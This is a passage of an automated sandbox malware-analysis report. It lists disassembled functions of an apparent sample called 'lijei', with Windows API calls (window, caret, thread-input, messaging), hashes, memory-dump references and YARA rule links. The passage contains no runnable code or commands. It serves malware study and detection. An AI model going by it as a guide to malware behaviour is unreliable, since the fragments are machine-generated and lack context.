                                                              • Instruction ID: 0dc44298e2a481a3166caabc218c97ab9e8776a67281573f2838ce45ff58208d
                                                              • Opcode Fuzzy Hash: 196e217aa2c763b37b8ffdccf9ec6949f400f2f2b2027532893e4df26c9016a9
                                                              • Instruction Fuzzy Hash: D3415D39700614DFDB10EF19C454A5EBBE2FF8A310B198488E85A9B762CB30FC41CB92
                                                              Function 00932039 Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32 ref: 0093204A
                                                                • Part of subcall function 009042CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 009042E6
                                                                • Part of subcall function 009042CC: GetCurrentThreadId.KERNEL32 ref: 009042ED
                                                                • Part of subcall function 009042CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00902E43), ref: 009042F4
                                                              • GetCaretPos.USER32(?), ref: 0093205E
                                                              • ClientToScreen.USER32(00000000,?), ref: 009320AB
                                                              • GetForegroundWindow.USER32 ref: 009320B1
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                              • String ID:
                                                              • API String ID: 2759813231-0
                                                              • Opcode ID: 7d361df254e8a418c5e618332cf226a30ee3e51a494eb8142a5c86d420bf1469
                                                              • Instruction ID: 12a018fa67a217d99d6de53fe352886d1413085c9262bcb1579e379b7253fbdb
                                                              • Opcode Fuzzy Hash: 7d361df254e8a418c5e618332cf226a30ee3e51a494eb8142a5c86d420bf1469
                                                              • Instruction Fuzzy Hash: F7315071E00109AFDB04DFAAC8858AEB7FCFF59304B10846AE515E7651DA71EE05CBA1
                                                              Function 0090E7C1 Relevance: 6.1, APIs: 4, Instructions: 87COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A4154: _wcslen.LIBCMT ref: 008A4159
                                                              • _wcslen.LIBCMT ref: 0090E7F7
                                                              • _wcslen.LIBCMT ref: 0090E80E
                                                              • _wcslen.LIBCMT ref: 0090E839
                                                              • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0090E844
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _wcslen$ExtentPoint32Text
                                                              • String ID:
                                                              • API String ID: 3763101759-0
                                                              • Opcode ID: 0475f2c2175b9750f542b7199cd6a4ffd39a1d5b4cf26f64fd808a47ffbbd5e9
                                                              • Instruction ID: f94fed03a5c7b5989e61f9c2f6e3762da4554c36980991bedffd95120d08cb1a
                                                              • Opcode Fuzzy Hash: 0475f2c2175b9750f542b7199cd6a4ffd39a1d5b4cf26f64fd808a47ffbbd5e9
                                                              • Instruction Fuzzy Hash: 08217171D00214AFDB11EFA8C981BAEB7B8EF85750F148069ED04EB291D6709E41CBA2
                                                              Function 00908184 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0090960C: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00908199,?,000000FF,?,00908FE3,00000000,?,0000001C,?,?), ref: 0090961B
                                                                • Part of subcall function 0090960C: lstrcpyW.KERNEL32(00000000,?,?,00908199,?,000000FF,?,00908FE3,00000000,?,0000001C,?,?,00000000), ref: 00909641
                                                                • Part of subcall function 0090960C: lstrcmpiW.KERNEL32(00000000,?,00908199,?,000000FF,?,00908FE3,00000000,?,0000001C,?,?), ref: 00909672
                                                              • lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00908FE3,00000000,?,0000001C,?,?,00000000), ref: 009081B2
                                                              • lstrcpyW.KERNEL32(00000000,?,?,00908FE3,00000000,?,0000001C,?,?,00000000), ref: 009081D8
                                                              • lstrcmpiW.KERNEL32(00000002,cdecl,?,00908FE3,00000000,?,0000001C,?,?,00000000), ref: 00908213
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: lstrcmpilstrcpylstrlen
                                                              • String ID: cdecl
                                                              • API String ID: 4031866154-3896280584
                                                              • Opcode ID: 3ef148307fab31035f4eafb37a82b89b69e3618159dad808d234b7fe38829af4
                                                              • Instruction ID: 6aabdd7a6c69dffc857172ac595d5c704de7e6f9100b818fbd81a1e0c6ce7edc
                                                              • Opcode Fuzzy Hash: 3ef148307fab31035f4eafb37a82b89b69e3618159dad808d234b7fe38829af4
                                                              • Instruction Fuzzy Hash: C411D33A204301AFCB145F78D855E7B77A9FF99394B50402AF986CB294EF329811DBA1
                                                              Function 00938621 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 0093866A
                                                              • SetWindowLongW.USER32(00000000,000000F0,?), ref: 00938689
                                                              • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 009386A1
                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0091C10A,00000000), ref: 009386CA
                                                                • Part of subcall function 008A2441: GetWindowLongW.USER32(00000000,000000EB), ref: 008A2452
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$Long
                                                              • String ID:
                                                              • API String ID: 847901565-0
                                                              • Opcode ID: d7b41689f8801592a12b57e6140990b717260b5a8f373604e8b485cae9b8dec2
                                                              • Instruction ID: 300ed3d0b87a52d189c55fc0997a8c7f023c28ea385d320a9e31d6ac751d8c59
                                                              • Opcode Fuzzy Hash: d7b41689f8801592a12b57e6140990b717260b5a8f373604e8b485cae9b8dec2
                                                              • Instruction Fuzzy Hash: 29119D72525315AFCB108F28DC09AAB3BA9FB45368F154724F939DB2E0DB308951DF50
                                                              Function 008D2099 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: cc26351c0dfb3238227ee399e3b9d79d94c0f9b3253dab2c90e91ad48bc85904
                                                              • Instruction ID: d5c675241f9ccdce81e43c03177d0b3bebbf78c7a0cec7a173d4b3d4ec107207
                                                              • Opcode Fuzzy Hash: cc26351c0dfb3238227ee399e3b9d79d94c0f9b3253dab2c90e91ad48bc85904
                                                              • Instruction Fuzzy Hash: 53018FB220A6197EFA21267C6CC1F27671DFF623B8B314327B621D13D1DA609C405561
                                                              Function 009022B7 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,000000B0,?,?), ref: 009022D7
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009022E9
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009022FF
                                                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 0090231A
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID:
                                                              • API String ID: 3850602802-0
                                                              • Opcode ID: 58427f89251a4a7750efe3c64b659a92dd28ab00e15fd7c4dbccbe7a50017eec
                                                              • Instruction ID: 77801641a3d6de4ac320f2cdc6fd3dd8ac8a0e932b99e9a2c5428401354dbedb
                                                              • Opcode Fuzzy Hash: 58427f89251a4a7750efe3c64b659a92dd28ab00e15fd7c4dbccbe7a50017eec
                                                              • Instruction Fuzzy Hash: C611097A901218FFEB119BA5CD85F9DBBB8EB08750F200091EA01B7290D6756E10DB94
                                                              Function 0093A852 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A2441: GetWindowLongW.USER32(00000000,000000EB), ref: 008A2452
                                                              • GetClientRect.USER32(?,?), ref: 0093A890
                                                              • GetCursorPos.USER32(?), ref: 0093A89A
                                                              • ScreenToClient.USER32(?,?), ref: 0093A8A5
                                                              • DefDlgProcW.USER32(?,00000020,?,00000000,?), ref: 0093A8D9
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Client$CursorLongProcRectScreenWindow
                                                              • String ID:
                                                              • API String ID: 4127811313-0
                                                              • Opcode ID: e44a3540a88dd13a9d88a81db6a2fb3f751937934080e72e3789c95a23d6d307
                                                              • Instruction ID: 36ec6d37684f6e40a6be6688fb929c32ad7e7186dfd4a7b343ea1d3be232344f
                                                              • Opcode Fuzzy Hash: e44a3540a88dd13a9d88a81db6a2fb3f751937934080e72e3789c95a23d6d307
                                                              • Instruction Fuzzy Hash: E1116376902119EFDF14DF98D886AEEB7B8FB04300F000451F962E2150D734AA82DFA2
                                                              Function 0090EA02 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThreadId.KERNEL32 ref: 0090EA29
                                                              • MessageBoxW.USER32(?,?,?,?), ref: 0090EA5C
                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0090EA72
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0090EA79
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                              • String ID:
                                                              • API String ID: 2880819207-0
                                                              • Opcode ID: 06a0355abff95a9ad65d13aafe9e9db32ea5ab1a953f01f95907c66406de0124
                                                              • Instruction ID: 48ff360581d70b2fd42cb3abeafe2be7f8c4956905d25b4ba0fc6e60d3a61f66
                                                              • Opcode Fuzzy Hash: 06a0355abff95a9ad65d13aafe9e9db32ea5ab1a953f01f95907c66406de0124
                                                              • Instruction Fuzzy Hash: 5B112B77A1C258BFC701AFA89C09A9F7FADEB45314F004216F828D32D0D274CD449BA1
                                                              Function 00938773 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(?,?), ref: 00938792
                                                              • ScreenToClient.USER32(?,?), ref: 009387AA
                                                              • ScreenToClient.USER32(?,?), ref: 009387CE
                                                              • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 009387E9
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ClientRectScreen$InvalidateWindow
                                                              • String ID:
                                                              • API String ID: 357397906-0
                                                              • Opcode ID: d5c40f5a393d40d5ae24eec83dc9a1dac71d137da078acaa4c2b8d88a62b2d05
                                                              • Instruction ID: 977239164251c2c8a94a220b93b27bb8347803ee3c779513be68b4cbd4f66576
                                                              • Opcode Fuzzy Hash: d5c40f5a393d40d5ae24eec83dc9a1dac71d137da078acaa4c2b8d88a62b2d05
                                                              • Instruction Fuzzy Hash: 5A1172B9D04209EFDB01CFA8D885AEEBBF9FB08314F108066E925E3610D735AA51DF50
                                                              Function 008A2150 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColor.USER32(00000008), ref: 008A216C
                                                              • SetTextColor.GDI32(?,?), ref: 008A2176
                                                              • SetBkMode.GDI32(?,00000001), ref: 008A2189
                                                              • GetStockObject.GDI32(00000005), ref: 008A2191
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Color$ModeObjectStockText
                                                              • String ID:
                                                              • API String ID: 4037423528-0
                                                              • Opcode ID: e60c872204277747c6825bca660f2013661d121f9867b1af664bcf1134c88404
                                                              • Instruction ID: 9c70cb914642e244ef3470150295e2a1998531c236673c4713d4e38a40667df0
                                                              • Opcode Fuzzy Hash: e60c872204277747c6825bca660f2013661d121f9867b1af664bcf1134c88404
                                                              • Instruction Fuzzy Hash: 18E06531259680AFDB215BB5BC197E87B60EB13335F048215F6BA850E0C3724640AF10
                                                              Function 008FEBD6 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDesktopWindow.USER32 ref: 008FEBD6
                                                              • GetDC.USER32(00000000), ref: 008FEBE0
                                                              • GetDeviceCaps.GDI32(00000000,0000000C), ref: 008FEC00
                                                              • ReleaseDC.USER32(?), ref: 008FEC21
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CapsDesktopDeviceReleaseWindow
                                                              • String ID:
                                                              • API String ID: 2889604237-0
                                                              • Opcode ID: 7121b326c955c4e153cb8ad2ea6f55a9039c161c2d3e82b8620aaa84badb9fa5
                                                              • Instruction ID: e006eeced8cc426e43c1779b43ead670e75557f01484ad09a833f5fda5865e1d
                                                              • Opcode Fuzzy Hash: 7121b326c955c4e153cb8ad2ea6f55a9039c161c2d3e82b8620aaa84badb9fa5
                                                              • Instruction Fuzzy Hash: 86E01AB0815209DFCB50AFA0A819A6DBBB1FB08314F108449F95AE3320CB384941EF15
                                                              Function 008FEBEA Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDesktopWindow.USER32 ref: 008FEBEA
                                                              • GetDC.USER32(00000000), ref: 008FEBF4
                                                              • GetDeviceCaps.GDI32(00000000,0000000C), ref: 008FEC00
                                                              • ReleaseDC.USER32(?), ref: 008FEC21
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CapsDesktopDeviceReleaseWindow
                                                              • String ID:
                                                              • API String ID: 2889604237-0
                                                              • Opcode ID: 147655c309320148625426f666446e0e465a6cf26b009216acb04032f5511474
                                                              • Instruction ID: 9d40708d75b1e4b1ae51b87bb141541a0546252e48338c2a18e4e9cf0d4a2f29
                                                              • Opcode Fuzzy Hash: 147655c309320148625426f666446e0e465a6cf26b009216acb04032f5511474
                                                              • Instruction Fuzzy Hash: 7CE01AB0815204DFCB509FA0A81965DBBB1FB08314F108449F959E3320C7385901EF10
                                                              Function 008BA86C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: #
                                                              • API String ID: 0-1885708031
                                                              • Opcode ID: 6b4ae31dd440dc4054cf2f528c0830b53ef322594f454e20b11ada3c69b45751
                                                              • Instruction ID: 1c3e6a00fb40a8f20cd31eda8d96b996285d40615c9d43ba6aa08e7598a0e4d8
                                                              • Opcode Fuzzy Hash: 6b4ae31dd440dc4054cf2f528c0830b53ef322594f454e20b11ada3c69b45751
                                                              • Instruction Fuzzy Hash: 1751213050424ADFDF19DF38C480AFA7BA4FF26314F284055E9A1DB291DB349D82DB66
                                                              Function 009260A2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: BuffCharUpper_wcslen
                                                              • String ID: CALLARGARRAY
                                                              • API String ID: 157775604-1150593374
                                                              • Opcode ID: 6b7d76de82bb01fd48975de46538dd0d657045344c380b610bf56844dfddacfd
                                                              • Instruction ID: 8d17025ad44d9af25931835fdf6030f638afb4303e574f783d178e4c3b335871
                                                              • Opcode Fuzzy Hash: 6b7d76de82bb01fd48975de46538dd0d657045344c380b610bf56844dfddacfd
                                                              • Instruction Fuzzy Hash: F841E231A042299FCB04EFA8D8919AEBBF5FF59320F104029E406E7353D730AD91CB90
                                                              Function 00934E96 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00934F7E
                                                              • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00934F93
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: '
                                                              • API String ID: 3850602802-1997036262
                                                              • Opcode ID: 063532b07c5e2c1e4eacfde71612571027b2bcac761ecc11d72339535d71f310
                                                              • Instruction ID: 9972bf9ad3e0e7faa5fa664d0656dfcd1b88803fd6e7e1dc0a59af7214dbb028
                                                              • Opcode Fuzzy Hash: 063532b07c5e2c1e4eacfde71612571027b2bcac761ecc11d72339535d71f310
                                                              • Instruction Fuzzy Hash: 70312675A0130A9FDB14CFA9C980BEABBF9FF49304F15416AE905AB391D770A941CF90
                                                              Function 0093406F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A771B: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008A7759
                                                                • Part of subcall function 008A771B: GetStockObject.GDI32(00000011), ref: 008A776D
                                                                • Part of subcall function 008A771B: SendMessageW.USER32(00000000,00000030,00000000), ref: 008A7777
                                                              • GetWindowRect.USER32(00000000,?), ref: 009340D9
                                                              • GetSysColor.USER32(00000012), ref: 009340F3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                              • String ID: static
                                                              • API String ID: 1983116058-2160076837
